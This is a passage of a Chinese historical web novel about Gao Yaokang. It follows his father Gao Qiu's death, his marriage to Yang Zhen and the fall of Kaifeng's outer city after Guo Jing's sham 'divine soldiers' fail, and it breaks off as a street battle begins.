第七十八章 留点火种吧
然后他忽然又转回来。
“高尧康。”
“嗯。”
“你那个《守城辑要》和《新军训练法》,还在吗?”
高尧康说:“在。”
他从怀里掏出两本册子。厚厚的。封皮上写着字。纸都翻旧了,边角有点卷。
他双手捧着,递给李纲。捧得很恭敬。
“李公,请携此火种,照亮别处黑暗。”
李纲接过来。捧着。看着那两本册子。
封面上的字,是高尧康自己写的。一笔一划,很认真。能看出写了很久。
他翻开。看了一页。又翻了一页。看得仔细,手指在纸上摸了摸。
然后他抬起头。看着高尧康。
眼睛里有东西。一闪。亮晶晶的。
“好。”他说,“好。”
他把册子收进怀里。揣得紧紧的。跟揣宝贝似的。
然后他转过身。往前走。
人群自动让开一条路。两边的人跪着,低着头,没人出声。
他走得很慢。一步一步。靴子踩在地上,沙沙响。
走到长亭边上,忽然停住。
他没回头。
只是站在那儿。背对着所有人。
站了很久。很久很久。
风把袍子吹起来,一下一下的。
然后他抬起手,朝后头挥了挥。就那么挥了两下。
继续往前走。
走了。
那天晚上。城外庄园。
苏檀儿在清点账目。烛火一闪一闪的,照在她脸上。她低着头,手里拿着笔,在一本本账上勾勾画画。
高尧康推门进来。
她抬起头。
“送走了?”
“嗯。”
她看着他。他的脸上没什么表情。但她认识他这么久,知道他什么时候心里有事。他脸上没表情的时候,就是心里有事的时候。
“坐。”她说。
他坐下。
她给他倒了杯茶。推过去。茶还热着,冒着白气。
他端起茶,喝了一口。放下。
“东西转移得怎么样了?”
苏檀儿说:“沈万金已经走了。带着第一批货,往蜀地去。走的是咱们自己的路,安全。过了潼关,就没事了。”
高尧康点点头。
“第二批什么时候走?”
苏檀儿说:“三天后。主要是粮草和药材。还有一部分器械的图纸。宇文虚连夜画的,眼睛都熬红了。”
她顿了顿。
“你那些书,也带走了。李纲拿了一部分,剩下的,我让人抄了三份,分三路送出去。一路往蜀地,一路往江南,一路往两湖。万一哪一路出事,还有另外两路。”
高尧康看着她。
她坐在灯下。脸上有疲惫,眼窝有点陷。但眼睛很亮。跟两盏灯似的。
“苏檀儿。”
她抬头。
“谢谢你。”
她愣了一下。
然后笑了。笑得眼睛弯弯的。
“谢什么?我是商人。商人重利。我帮你,是因为我知道,你活着,我的买卖就能做下去。你**,联号就完了。我这是投资。”
高尧康没说话。
她又低下头,看账本。笔在纸上划来划去。
“行了。你回去吧。明天还要练兵。”
高尧康站起来。走到门口。忽然停住。
“苏檀儿。”
“嗯?”
“你刚才说的,是真的吗?”
苏檀儿抬起头。看着他。
屋里很静。灯芯噼啪响。啪。啪。
她笑了一下。那笑容很短。像灯花爆了一下。
“假的。”她说,“但只能这么说了。”
高尧康看着她。
她低下头,又看账本。笔没停。
“去吧。”
他推门出去。
杨蓁站在院子里。月光底下,几乎看不见了
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。她就那么站着,跟一棵树似的。
她看着他。
“说完了?”
“嗯。”
她走过来。站在他旁边。
两个人站着。看着月亮。
月亮很亮。很圆。照得地上跟下了霜似的。
六月十五。童贯**。
是**的。在押解途中。圣旨上写的,是“数其十大罪,诛之”。刽子手一刀下去,脑袋就掉了。滚了三圈。
高尧康在营里听到这消息的时候,正在看地图。他抬起头,看着报信的王彦。
“童师闵呢?”
王彦说:“没消息。估计躲起来了。有人说看见他出城了,往南边去了。”
高尧康点点头。继续看地图。手指在上头比划。
王彦站了一会儿。忽然说:
“下一个,该谁了?”
高尧康没抬头。
“不知道。”
王彦说:“会不会是咱们?”
高尧康抬起头。看着他。
“咱们不是奸臣。咱们是打仗的。”
王彦愣了一下。
“那又怎样?打仗的就不会死?”
高尧康说:“那就继续打仗。打到死为止。”
他低下头,又看地图。
窗外,传来一阵操练的喊声。
“杀——杀——杀——”
那声音,震得窗户纸都在抖。
六月二十。汴京城外。来了一队人。
领头的骑着马,穿着便装,灰扑扑的衣裳。后头跟着几十个亲兵,也都是便装,但腰里别着刀,一看就是行伍出身。
到了城门口,他勒住马,往城墙上看了很久。眼睛眯着,看得很仔细。
然后他下马。让人通报。
“南道总管张叔夜,求见高都指挥使。”
高尧康正在营里练兵。听到这名字,他愣了一下。
然后他放下手里的东西。
“请。”
第七十九章 六贼末路
七月。汴京。热得人喘不过气。
知了在树上叫,叫得人心烦意乱,跟拿锯子锯木头似的。空气黏糊糊的,粘在身上,擦都擦不掉。
但城里的人,心里更热。
蔡京**。
死在流放儋州的路上。潭州。八十多岁,走不动了,饿死的。也有人说,是被人毒死的。谁知道呢。反正**。
童贯也**。
死在南雄州。被**的。圣旨上写的“数其十大罪”,念了半个时辰。念的人嗓子都哑了。砍的时候,围观的人拍手叫好,叫得比过年还响。
梁师成。**。朱勔。**。李彦。**。王黼。**。
一个接一个。像割韭菜。咔嚓咔嚓,全没了。
汴京的茶馆酒肆里,天天有人讲这些事。讲蔡京**的,讲童贯临死前说了什么,讲那帮奸臣终于遭报应了。讲到高兴处,满堂喝彩,茶碗碰得叮当响。
高尧康坐在茶楼角落里。听着那些人讲。
杨蓁坐在他对面。她听着那些话,脸色不好看。眉心拧成一个疙瘩。
“他们说的是你爹。”
高尧康说:“知道。”
“你听着不难受?”
高尧康端起茶,喝了一口。茶有点凉了。
“难受也得听。”
他放下茶杯,看着窗外。
窗外街上,有人在放鞭炮。噼里啪啦的。硝烟飘进来,呛得人咳嗽。有人在笑,笑得很大声。
杨蓁顺着他的目光看出去。看见那些放鞭炮的人。看见那些笑的人。
她的手攥紧了。攥得指节发白。
“他们高兴什么?杀几个奸臣,金兵就不来了?”
高尧康没说话。
他站起来。
“走吧。”
七月十二。高府。
大门上贴着封条。白纸黑字。御史台的。封条交叉贴着,跟打个叉似的。
高尧康从后门进去。穿过夹道,绕过假山,走进后院。这条道他走惯了,闭着眼都不会走错。
后院很静。没下人。没声音。只有蝉在叫。叫得人心烦。吱——吱——吱——
高俅躺在病榻上。瘦得脱了相。眼窝深陷,能养鱼了。颧骨突出,跟两座小山似的。脸上没有肉,只剩一层皮,黄蜡蜡的。
听见脚步声,他睁开眼睛。
看见是儿子,他动了动嘴角。想笑。但笑不出来。那嘴角扯了扯,又垂下去了。
“来了?”
高尧康坐下。坐在榻边。榻板硬邦邦的,硌得慌。
“嗯。”
高俅看着他。看了很久。眼睛浑浊,但还认得人。
“外头……都知道了?”
高尧康说:“知道了。”
“说什么?”
高尧康没回答。
高俅笑了一下。这回笑出来了。很难看。嘴歪着,露出几颗牙。但确实是笑。
“不说我也知道。骂。骂得好。该骂。我听见了,他们在放鞭炮。”
他咳嗽了两声。咳得很厉害。身子弓起来,跟虾米似的。高尧康把他扶起来,给他拍背。拍了几下,咳完了,又躺下去。喘着气。呼哧呼哧的。
“蔡京……死在潭州。”他说,声音断断续续,“童贯……死在……南雄州。梁师成……朱勔……都**。”
他看着屋顶。屋顶上有个蜘蛛网,在风里晃。
“就剩我了。”
高尧康没说话。
高俅说:“你知道他们怎么说我吗?说我……病重。说我已经……闭门悔过。说我从轻发落,只夺职,不杀头。留条命。”
他又咳嗽起来。咳得脸都红了。
咳完了,他转过头,看着儿子。那眼睛里有东西在闪。
“你知道为什么吗?”
高尧康说:“因为你没跑。因为你没跟着太上皇去江南。因为你闭门不出,称病在家。”
高俅点点头。脖子动得很慢。
“对。还有一条——”
他顿了顿。喘了口气。
“因为你。”
高尧康愣住了。
高俅说:“你在真定打仗。你在土门关守城。你在汴京练兵。你的事,官家都知道。他要用你,就不能杀你爹。杀了你爹,你还给他卖命?”
他看着儿子。
“我高俅,活了六十多年。干了很多坏事。贪过。拿过。害过人。我知道。我都知道。那些事,半夜想起来,自己也睡不着。”
他的眼睛有点湿。亮晶晶的。
“但最后……能活着……竟是因为我儿子。”
他伸出手,抓住高尧康的手腕。
那手枯瘦如柴。骨头硌人。但攥得很紧。
“可笑吗?”
高尧康没说话。
高俅说:“可笑。太可笑了。我高俅,一辈子钻营,一辈子巴结,一辈子往上爬。到头来,救我的不是我巴结的那些人,是我儿子。是我那个在真定打仗的儿子。”
他松开手。躺回去。喘着气。
屋里很静。蝉还在叫。吱——吱——吱——
过了很久,高俅又开口。声音轻得像蚊子。
“权势如潮水,”他说,“来去不由人。”
他看着儿子。
“我高俅得善终,竟是靠我儿提前斩断贪念……可笑,可
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叹。”
高尧康看着他爹。
看着那张瘦得脱了相的脸。看着那双浑浊的眼睛。看着那只枯瘦的手。手背上青筋暴起,跟蚯蚓似的。
他忽然想起小时候。他爹带他去樊楼。那时候他爹多风光。穿着紫袍,腰里系着玉带,走到哪儿都有人点头哈腰。喊他“高太尉”的声音,此起彼伏,跟唱戏似的。
现在躺在这儿。封条贴在大门上。没下人。没人来。
就剩他儿子。
“爹。”他说。
高俅看着他。
“你那些事,”高尧康说,“我没办法替你说对错。那是你的事,你跟老天爷算。”
他顿了顿。
“但我是你儿子。我认。”
高俅的眼睛红了。
他别过头去。看着墙。墙上有个黑印子,不知道什么时候弄的。
过了很久,他转回来。从枕头底下摸出一样东西。
是个布包。旧的。布都洗得发白了。但包得很紧,一层又一层。
他递给高尧康。
“拿着。”
高尧康接过来。打开。
里头是一张纸。上头写着密密麻麻的字。人名。地名。数字。墨迹都旧了,有些地方磨得看不清。
他抬起头,看着他爹。
高俅说:“童贯的。蔡京的。梁师成的。还有那帮人。他们在江南、蜀地埋的东西。银子。金子。铺子。庄子。还有……一些人。眼线。暗桩。”
他看着儿子。
“那些人是他们的暗桩。有的在官府。有的在军中。有的在民间。他们**,这些人就成了没主的。没人管了。”
他顿了顿。喘了口气。
“你去收。收得下,就是你的。收不下,就让他们烂在那儿。别让人知道。”
高尧康看着那张纸。
上头写的数字,大得惊人。多得数不清。
他抬起头。
“爹……”
高俅打断他。抬起手,摇了摇。
“别说话。”
他看着儿子。
“我这一辈子,就攒了这些。给你了。算是……赎罪的开始。”
他躺回去。闭上眼睛。
“去吧。”
高尧康站起来。站在那儿,看着他爹。
高俅闭着眼。没再说话。胸口一起一伏的,呼吸很浅。
高尧康转身往外走。
走到门口,忽然听见身后说:
“尧康。”
他回头。
高俅还是闭着眼。但嘴唇在动。声音很轻。
“你比我有出息。”
高尧康站了一会儿。
然后推门出去。
第八十章 奸臣没有好下场
七月十五。高俅**。
那天早上,下人进去送药,发现他已经凉了。很安详。像睡着了。嘴角好像还带着一点笑。
高尧康接到消息的时候,正在营里练兵。太阳底下,三万人站得整整齐齐。他站在点将台上,听王彦汇报训练进度。
传信的人跑过来,在他耳边说了几句话。
他站了一会儿。然后放下手里的东西。
“今天不练了。”他说。
王彦看着他。
“我跟你去。”
高尧康摇摇头。
“不用。你在这儿带着。接着练。”
他一个人骑马进城。
高府。后门开着。老管家站在门口,眼睛红红的,肿得跟桃似的。
看见他,老管家扑通跪下了。膝盖磕在地上,听着都疼。
“衙内……老爷他……”
高尧康把他扶起来。
“我知道了。”
他走进去。
穿过夹道。绕过假山。走进后院。
高俅躺在榻上。换了新衣裳。脸洗过了。头发梳过了。很安详。跟睡着了一样。
高尧康站在榻前。看着他爹。
看了很久。
然后他跪下。磕了三个头。头磕在地上,咚咚响。
丧事办得很低调。
很低调。低调到几乎没人知道。
来吊唁的人,掰着手指头能数过来。李纲在外地,来不了,让人送了副挽联。张叔夜派人送了奠仪。王彦、刘实、宇文虚来了。杨蓁来了。
还有几个,是以前高俅帮过的人。不多。十几个。有的来了坐一会儿就走,有的站门口鞠个躬就走了。
大门外头,偶尔有行人经过。有人往里头看一眼,看见白灯笼,就赶紧走开。跟躲瘟疫似的。
没人进来。
那天下午,外头忽然传来一阵鞭炮声。
噼里啪啦的。很远。但听得见。
王彦的脸色变了。刷一下就白了。
“他麻的——”
他站起来,要往外冲。凳子都让他带倒了。
高尧康伸手拦住他。
“坐着。”
王彦看着他。眼睛瞪得跟铜铃似的。
“他们放鞭炮!他们——你爹刚死,他们——”
高尧康说:“我知道。”
王彦瞪着他。眼眶红了。红得跟兔子似的。
“你知道?你知道什么?你爹刚死,他们放鞭炮庆祝!你让我坐着?”
高尧康看着他。眼睛很平静。
“那你去干嘛?打他们一顿?骂他们一顿?然后呢?然后他们更来劲,传得更欢。”
王彦张了张嘴。没说出话。
高尧康说:“他们骂得对。我爹,确实干了很多坏事。”
他看着王彦。
“但他是你爹。你怎么办?”
王彦愣住了。
高尧康说:“我认。”
他转身,走回灵堂。
杨蓁跟在后面。
那天晚上。灵堂里就剩高尧康一个人。
杨蓁在外头守了一夜。但他说,他想一个人待着。
他就那么坐着。对着那口棺材。棺材是黑漆的,漆得很亮,能照见人影。
灯捻子拨得低。火苗只有豆大。照得灵堂里昏昏暗暗的,影子一晃一晃。
他开口。声音很轻。轻得像怕吵醒谁。
“爹。”
没人应。
“你那些事,我不知道该怎么说。说你对,不对。说你错,你是我爹。我小时候,你带我去樊楼,给我点最好的菜。我惹了祸,你替我摆平。我想去真定,你没拦我。”
他顿了顿。
“但有一件事,我知道。”
他看着那口棺材。
“你最后这段日子,是想往好了走的。不掺和那些事。闭门不出。称病在家。不连累我。”
他沉默了一会儿。
“我认。认你是我爹。认你干过的那些事。认别人骂你、恨你、放鞭炮。都认。”
他的声音有点哑。像有什么东西堵着。
“但我也认另一件事。”
他站起来。走到棺材前头。伸出手,按在棺材上。木头凉凉的。
“你的罪,你的债,我认了。我会用另一种方式,把高家这姓氏,洗干净。”
他站在那儿。手按着棺材。
灯芯噼啪响了一声。啪。
他收回手。退后一步。又跪下。
磕了三个头。一下比一下重。
然后站起来,往外走。
走到门口,他回头看了一眼。
那口棺材,静静停在那儿。灯影里,黑漆漆的。
他推门出去。
杨蓁站在门外。
她看着他。月光底下,她脸上有泪痕。
他说:“你一直在这儿?”
她说:“嗯。”
他走过去。站在她旁边。
她伸出手,握住他的手。
他的手有点凉。她的手很热。烫烫的。
两个人站着。看着天。
天上有月亮。很亮。圆圆的。但云飘过来,遮住了一会儿。又亮起来。
杨蓁说:“你刚才说的,我都听见了。”
高尧康没说话。
她说:“洗姓高。怎么洗?”
高尧康想了想。想了很久。
“让以后的人,提起姓高的,想的不是奸臣,是想别的。想打仗的,想守城的,想跟金兵拼命的。”
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>杨蓁点点头。
“那得杀多少金兵?”
高尧康愣了一下。
然后笑了。
笑得很轻。但确实是笑。嘴角弯了一下。
“不知道。”他说,“杀多少算多少。”
她也笑了。笑得眼睛弯弯的。
两个人站在那儿。手牵着手。月亮照着。
那夜,苏家宅子里,苏檀儿被锁在屋里。
门从外头锁着。锁头挂着,哐当一声。窗户钉**。木板钉得严严实实,透不进一点光。
她坐在床边,听着外头的动静。
她爹苏半城,站在门外。影子从门缝里透进来,一条一条的。
“檀儿,你别怪爹。爹是为你好。”
苏檀儿没说话。
苏半城说:“高家完了。高俅**。高尧康现在是啥?是个没靠山的武官。那帮人今天能放鞭炮,明天就能拿他开刀。你跟他走太近,早晚出事。咱们家也得跟着倒霉。”
苏檀儿还是没说话。
苏半城说:“咱们明天就走。去杭州。船都雇好了。你那些账本,那些买卖,都别管了。到了杭州,爹给你找个好人家。安安稳稳过日子。你娘在天上看着,也放心。”
屋里传来一声轻笑。
苏半城愣了一下。
“檀儿?”
屋里说:“爹,你锁得住我的人,锁不住我的心。”
苏半城沉默了一会儿。很久。
“那爹就一直锁着。锁到你想通了为止。”
他转身走了。
脚步声远了。蹬蹬蹬。
苏檀儿坐在黑暗里。
她想起那天晚上,高尧康问她,你刚才说的,是真的吗?
她说,假的。但只能这么说了。
她想起那句话,忽然笑了。
笑着笑着,眼泪下来了。流进嘴里,咸的。
七月二十。高尧康收到一封信。
是从杭州来的。苏半城写的。信封皱巴巴的。
信里说:苏檀儿已随我至杭州。从此与京城再无瓜葛。高都指挥使保重。勿念。
高尧康把信折起来。收进怀里。
杨蓁在旁边。
“苏檀儿走了?”
“嗯。”
“你不去追?”
高尧康看着她。
“追什么?”
杨蓁说:“她喜欢你。你不知道?”
高尧康说:“我知道。”
“那你不去?”
高尧康沉默了一会儿。
“她去杭州,安全。”
他看着窗外。
“安全,比什么都强。”
杨蓁站在他旁边。也看着窗外。
窗外,天灰蒙蒙的。要下雨了。云压得很低。
第八十一章 暗潮汹涌
八月初九。汴京。热得人发昏。
太阳跟下火似的,晒得地皮发烫。知了在树上叫,叫得人脑仁疼。空气黏糊糊的,粘在身上,擦都擦不掉。
但高尧康站在校场上,后背一阵阵发凉。
不是因为天热。
是因为眼前那些人。
三千多人。穿着花花绿绿的衣服,红的绿的黄的,跟戏班子似的。有的披头散发,跟鬼一样。有的脸上涂着颜料,红的黑的白的,跟唱大戏的。有的拿着桃木剑,有的举着招魂幡,还有的拿着铃铛,一摇哗啦啦响。
站在那儿,不像兵,像赶庙会的。
领头的那个,四十来岁,瘦,黑,眼睛往天上翻,眼白多眼黑少。穿着一件道袍,脏兮兮的,手里拿着一把铜钱剑。铜钱串起来的,一晃哗啦响。
郭京。
“六甲神兵。”
高尧康转过头,看着旁边那个传令的宦官。
宦官白白胖胖的,脸上抹着粉,说话尖声尖气。
“你再说一遍?”
宦官皮笑肉不笑。嘴角扯着,跟抽筋似的。
“高都指,圣旨上写得清楚。从今日起,酸枣门至陈桥门这一段,由郭**的神兵协防。您的兵,往后撤一箭之地。”
高尧康没说话。
王彦在旁边,手按在刀柄上。按得指节发白。白里透青。
宦官往后退了一步。差点绊一跤。
“高都指,咱家只是传话的。您有意见,找官家说去。别跟咱家过不去。咱家就是个跑腿的。”
高尧康说:“没意见。”
宦官愣了一下。嘴张着,合不上了。
高尧康说:“回去复命吧。就说,高尧康遵旨。”
宦官张了张嘴。想说什么。没说。转身走了。走得飞快,跟后头有狗撵似的。
王彦凑过来。脸都急红了。
“你真让他撤?真让那帮玩意儿顶上来?”
高尧康看着那三千多“神兵”。
郭京正在那儿跟他的兵说话。说什么听不清。但那些兵听得直点头,一边点头一边晃脑袋,跟中了邪似的。有的还翻白眼,翻得只剩眼白。
“不撤怎么办?”高尧康说,“圣旨。不遵旨,就是抗命。”
王彦急了。嗓门都大了。
“那帮玩意儿能守城?你没看见他们拿的什么?桃木剑!铜钱剑!铃铛!那玩意儿能挡住金兵?金兵一人一口唾沫都能淹死他们!”
高尧康说:“我知道。”
“知道你还……”
高尧康转过来,看着他。
王彦不说了。
高尧康说:“往后撤一箭之地。不是撤出城。城墙还在咱们手里。那帮神兵,站咱们前头。”
他看着郭京那些人。眼睛眯着。
“他们想送死,让他们送。想当英雄,让他们当。想当奸细……”
他没说下去。
王彦愣了一下。
“你是说……”
高尧康没回答。
他转身走了。
八月十五。中秋节。
城里还在过节。街上还有卖月饼的,油汪汪的,看着就腻。还有人放灯笼,孔明灯一盏一盏往天上飘,飘远了,看不见了。
但高尧康坐在营里,对着一盏灯,看了一夜。灯芯噼啪响,他也没动。
杨蓁走进来。端着一碗粥。粥还冒着热气。
“吃点东西。”
高尧康接过来。喝了一口。放下。碗磕在桌上,轻轻一声。
杨蓁坐在他对面。看着他。
“还在想那帮神兵?”
高尧康说:“在想另一件事。”
“什么事?”
高尧康看着她。
烛火底下,她脸上那道疤没那么明显了。眼睛亮亮的。
“杨蓁。”
“嗯?”
“咱们成亲吧。”
杨蓁愣住了。
她张了张嘴。没说出话。就那么张着。
高尧康说:“你那天说,怕**还不能在一块儿。”
他顿了顿。
“我想了想,你说得对。”
杨蓁看着他。眼睛里有东西在闪。亮晶晶的。
“你……你是认真的?”
高尧康说:“认真的。”
杨蓁沉默了一会儿。
然后她笑了。
笑得很好看。眼睛弯成两道月牙。
“行。”她说,“那就成亲。”
八月十八。夜。城外小院。
婚礼很简单。
没请多少人。王彦、刘实、宇文虚。还有几个从真定带回来的老兵。张叔夜父子也来了。孟义和王端帮着张罗的。端茶倒水,忙得脚不沾地。
没有花轿。没有吹打。没有红盖头。
杨蓁穿着一身红褙子,是苏檀儿走之前留下的。说是本来想自己穿的。现在给杨蓁了。衣裳有点大,但穿着也好看。
高尧康穿着一身新做的深衣。王彦非让他做的。说成亲不能穿旧的。新衣裳有点硬,穿着不习惯。
拜天地。拜高堂。对拜。
高堂那儿,摆着高俅的牌位。木头牌位,上头刻着字。
杨蓁跪下去,磕了三个头。磕得很响。
高尧康看着她。看着那块牌位。
他想起他爹最后那句话:“你比我有出息。”
他心里说:爹,你儿媳妇,是跟你儿子从**堆里爬出来的。土门关那一仗,她腿上挨了一刀,缝了十七针。你放心。
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礼成了。
酒过三巡,王彦站起来,要敬酒。脸红红的,喝了不少。
刚举起杯子,门被推开了。吱呀一声。
一个人站在门口。
童师闵。
他瘦了。瘦得厉害。眼窝深陷,颧骨凸出,跟骷髅似的。穿着件半旧的袍子,风尘仆仆的,灰头土脸。
他站在那儿,看着屋里的人。
王彦的手按在刀柄上。动作很快。
童师闵笑了一下。那笑容很短。
“我来喝杯喜酒。不欢迎?”
高尧康站起来。
“进来。”
童师闵走进来。走到桌前,从桌上拿起一杯酒。举起来。
“高尧康,杨蓁。祝你们白头偕老。”
他仰脖子喝了。喉结动了一下。
放下杯子。看着高尧康。
“我今晚就走。去杭州。”
高尧康看着他。
童师闵说:“京城待不下去了。耿南仲那帮人,正到处抓童贯的旧部。我跑了三个地方,差点被逮着。有一回躲在粪坑里才逃掉。”
他顿了顿。
“我想着,走之前,得来一趟。喝你这杯酒。不然以后没机会了。”
高尧康点点头。
童师闵看着他。
“高尧康,你帮过我。我记得。真定那几封信,还有那天晚上的话。我都记得。”
他转身要走。
高尧康说:“等等。”
童师闵回头。
高尧康从怀里掏出一个小布包。递给他。布包旧旧的,但包得很紧。
“到了杭州,去这个地方。找这个人。”
童师闵接过来。打开。里头是一张纸条,写着一个地址和一个名字和一些银票。
他抬起头。眼睛瞪大了。
“这是……”
高尧康说:“我爹留的。杭州那边,有几个暗桩。以前是蔡京的人,后来没人管了。你去。他们会接应你。管吃管住。”
童师闵愣住了。
他看着那张纸条。看着那个名字。手在抖。
然后他抬起头。看着高尧康。
眼眶红了。红得跟兔子似的。
“高尧康……”
高尧康说:“路上小心。别走官道。”
童师闵张了张嘴。没说出话。
他弯腰,深深一揖。腰弯得快到地了。
然后转身,推门出去。
消失在夜色里。脚步声远了。
王彦站在门口,看着那个方向。黑漆漆的,什么也看不见。
“他……能信吗?”
高尧康说:“**那些暗桩在哪儿。就算被抓了,也供不出来。纸条他看了就会烧。”
王彦点点头。
“那就行。”
第八十二章 混乱时局
八月二十。张叔夜来了。
晚上。密谈。
屋里就三个人。张叔夜。高尧康。杨蓁。
张叔夜五十多岁。瘦,高,脸黑,眼睛亮。一看就是在军营里滚了一辈子的人。手上全是茧子,刀握出来的。
他把几张纸摊在桌上。纸皱巴巴的,有些地方磨破了。
“郭京那些神兵,我查了。”
高尧康看着那些纸。
上头写着人名。籍贯。来历。密密麻麻的。
全是市井无赖。有赌徒,有泼皮,有偷鸡摸狗的,有骗人钱财的,有在勾栏里混饭吃的。没一个当过兵。没一个拿过刀。
张叔夜指着其中几个名字。手指头点着。
“这几个,去年去过辽东。回来之后,手头忽然宽裕了。买了宅子,纳了小妾。一个泼皮,哪儿来的钱?”
他看着高尧康。
“你的联号那边,有消息吗?”
高尧康点点头。从怀里掏出一张纸。
是王端今天送来的。纸条很小,卷成一卷。
上头写着:郭京,原名郭京儿,太原人。宣和五年去过辽东。宣和六年在燕京待过半年。宣和七年回汴京,开始装神弄鬼。在茶楼酒肆里给人算命,后来被荐进宫。
底下还有一行小字:与金国使臣府上的一个管事,有来往。那管事请过他喝酒,在樊楼。
张叔夜看完。抬起头。
“证据还不够。”
高尧康说:“对。不够。只是一个管事,说明不了什么。”
张叔夜说:“官家现在信他。信得不得了。说他能请六甲神兵,能撒豆成兵,能呼风唤雨,能破金兵十万。把他当神仙供着。天天赏东西。”
他顿了顿。
“咱们现在去说他是骗子,是奸细,官家信谁?信咱们还是信神仙?”
高尧康没说话。
张伯奋在旁边开口了。他是张叔夜的大儿子。三十出头,跟张叔夜一样黑,一样瘦,眼睛一样亮。
“那咱们就这么看着?看着那帮玩意儿把城墙丢了?”
张叔夜说:“看着。”
他看着高尧康。
“但看着,不是等死。”
他从怀里掏出一块腰牌。放在桌上。铜的,上头刻着字。
“这是南道总管的腰牌。有我这块牌子,你可以调动我留在南边的三千兵。那三千人,是我练出来的,能打。”
他看着高尧康。
“高都指,我张叔夜,在官场上混了三十年。见过太多事了。我知道什么时候该说话,什么时候该闭嘴。也知道什么时候该准备。”
他站起来。
“金兵还会来。神兵挡不住。到时候,能守城的,还是咱们这些会打仗的。还是那些手里有刀有枪的人。”
他伸出手。
高尧康也站起来。伸出手。
两只手握在一起。握得很紧。
张伯奋、张仲熊也站起来。抱拳。拳头抱得紧紧的。
“见过高都指。”
高尧康还礼。抱拳。
“见过张兄。”
那天晚上,四个人谈了整整一夜。
谈守城。谈布防。谈粮草。谈预备队。谈万一城破了,往哪儿撤,怎么撤,撤了之后怎么打回来。谈万一官家跑了怎么办。谈万一太后被抓住了怎么办。谈万一……什么都谈了。
天亮的时候,张叔夜走了。走的时候,天边刚泛白。
临走,他回头看着高尧康。
“你那个联号,还有多少人在京城?”
高尧康说:“王端。孟义。还有十几个伙计。都是靠得住的。”
张叔夜点点头。
“让他们把物资清点好。该藏的藏,该运的运。到时候,咱们用得上。”
高尧康说:“已经在做了。粮草分了三个地方藏。”
张叔夜看着他。看了一会儿。
“好。”他说,“好。”
他走了。脚步声远了。
八月二十五。大营。
王端和孟义站在高尧康面前。
王端先开口。他瘦瘦的,但眼睛很活。
“高都指,城里的物资,清点完了。粮草够三个月。省着吃能撑四个月。药材够两个月。**箭、霹雳弹,都按您说的,分三个地方藏着。一个在营里,一个在城南货栈,一个在城外庄子上。鸡蛋不放在一个篮子里。”
高尧康点点头。
孟义接着说。他胖胖的,说话慢悠悠的。
“商路那边,北边的断了。过不了真定。但南边的还通着。江南的粮,蜀中的铁,荆湖的木头,还能进来。就是慢了點,得绕路。”
他顿了顿。
“苏娘子走之前,留了一笔钱。说是有十万贯。存在几家票号里。大宋通宝、四海钱庄,都有。随时能取。凭她留下的信物就行。”
高尧康愣了一下。
“十万贯?”
孟义点点头。
“她说,这是她自己的钱。不是苏家的。
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是她这些年攒的体己。您什么时候用,什么时候取。不用跟她说。”
高尧康沉默了一会儿。
“知道了。”
王端和孟义走了。
杨蓁站在旁边。
“苏檀儿对你真好。”
高尧康没说话。
杨蓁看着他。
“你要是想她,就去杭州找她。我不拦着。”
高尧康转过头,看着她。
“你说什么?”
杨蓁说:“我说,你要是想她……”
高尧康打断她。
“我娶的是你。”
杨蓁愣了一下。
高尧康说:“她对我好。我知道。我记着。一辈子记着。但你是跟我从**堆里爬出来的。”
他看着杨蓁。
“这不一样。”
杨蓁看着他。看了很久。
然后她笑了。
笑得眼睛弯弯的。弯成两道月牙。
“行。”她说,“那就好好打仗。”
九月初一。圣旨到了。
高尧康跪接。膝盖磕在地上,硌得疼。
宦官念了一长串。声音尖尖的,念得飞快。他只听懂了几句。
“御史中丞陈过庭等推荐宗泽……宗泽入京……条陈三策……官家嘉许……授宗泽……台谏官……”
他抬起头。
宗泽。
他记得这个名字。
历史上,这是抗金的脊梁。比李纲还硬。比谁都硬。七十多岁的人了,还能带兵打仗。
他站起来。看着那个宦官。
“敢问公公,宗泽宗大人,何时入京?”
宦官说:“快了。已经在路上了。估摸着月底能到。”
高尧康点点头。
宦官走了。
杨蓁走过来。
“宗泽是谁?”
高尧康说:“一个能救命的人。”
他看着北边。
天灰蒙蒙的。要入秋了。云压得很低。
远处,城墙那边,郭京的“神兵”正在操练。喊的口号,他听得见。一声一声传过来。
“六甲神兵,刀枪不入——”
“六甲神兵,撒豆成兵——”
“六甲神兵,杀尽金贼——”
喊得挺齐。嗓门挺大。
高尧康听着那些喊声。听了一会儿。
然后他转身,往营里走。
“走吧。”
杨蓁跟上去。
“去哪儿?”
“练兵。”
身后,那些“神兵”还在喊。
喊得震天响。
第八十三章 城破之殇
靖康元年闰十一月二十五。辰时。天没亮透。
高尧康站在内城墙上,看着外城的方向。
外城已经破了。
昨天下午,郭京带着他那三千“神兵”,打开城门,杀出去。走的时候那叫一个威风,旗子飘飘,嘴里念念有词,跟真的能撒豆成兵似的。
半个时辰后,他跑回来了。
一个人。
后头跟着金兵。
那些“神兵”有的**,有的跑了,有的跪在地上投降。金兵踩着他们的尸体,冲进外城。踩得那些花花绿绿的衣服陷进泥里。
外城守军乱了。有人还在打,有人跑了,有人跪了。哭爹喊娘的声音,隔着几条街都能听见。
金兵潮水一样涌进来。那潮水是黑的,带着刀光。
高尧康站在内城墙上,看着那个方向。火光亮着,喊声传过来,隔着七八条街,还能听见。是惨叫,是马蹄,是那种“呜噜呜噜”的女真话。
王彦跑上来。浑身是血。不知道是谁的。脸上那道疤被血糊住了,就剩两个眼珠子在转。
“金兵到甜水巷了!”
高尧康没动。就那么站着。
“张叔夜呢?”
“在保康门那边。他两个儿子也在。还在打。”
高尧康转过身。看着身后那些人。
三千人。他的兵。从真定带回来的,从新军练出来的,从**堆里爬出来的。有的脸上有疤,有的胳膊上缠着绷带,有的站着站着腿还在抖。但没一个跑的。
他开口。
“外城破了。”
没人说话。风吹着旗子,啪啪响。
“金兵进来了。咱们得挡住他们。”
他看着那些人。一个一个看过去。
“不是挡一辈子。是挡一阵。挡住这一阵,城里的人就能多跑出去几个。多活几个。”
“记得我跟你们说过的话吗?”
有人喊:“记得!”嗓子都劈了。
“杀一个金兵,多活一天。杀十个,多活十天。杀一百个,咱们的子孙后代,就不用再打这种仗。”
他顿了顿。
“今天,能杀多少杀多少。”
他转身下墙。靴子踩在台阶上,咚咚咚。
“走。”
甜水巷。窄。两边是墙,中间一条路。路宽不到三丈。
金兵的骑兵冲进来。三十多骑。跑得飞快。马蹄踩在石板上,当当当响,跟打铁似的。
高尧康站在巷子那头。举起手。
**队,三排。蹲着,站着,踮着脚。黑洞洞的枪口对着巷子。
五十丈。三十丈。二十丈。
手往下一砍。
轰轰轰轰轰。
